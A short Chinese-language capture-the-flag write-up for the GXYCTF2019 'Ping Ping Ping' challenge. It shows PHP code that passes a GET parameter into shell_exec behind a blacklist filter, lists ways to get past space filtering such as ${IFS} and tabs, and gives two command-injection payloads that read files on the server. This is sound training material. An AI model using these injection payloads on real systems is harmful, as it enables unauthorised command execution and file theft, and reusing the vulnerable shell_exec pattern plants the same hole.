BUUCTF-(GXYCTF2019)Ping Ping Ping

发布时间 2023-08-30 10:39:46作者: KAKSKY
?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

它过滤了很多的字符,所有在命令执行的时候就需要绕过这些检测方式,这也是值得学习的点。

首先就是绕过空格的方法:

${IFS}
$IFS$1
${IFS
%20
<		//用重定向符替换空格
<>
%09
{cat,flag.php}	//用逗号实现空格功能
备注:在Linux中cat${IFS}flag.php和空格类似,感觉有点是${IFS}替换了空格;IFS默认值是空格、制表符和换行符,IFS可以认为是Linux中的一个全局变量

这个题目中的变量$a可以利用,但仅限于这题!

?ip=127.0.0.1;a=g;cat$IFS$1index.php

方法二:

?ip=127.0.0.1;cat$IFS$9`ls`

ls的结果当成cat的参数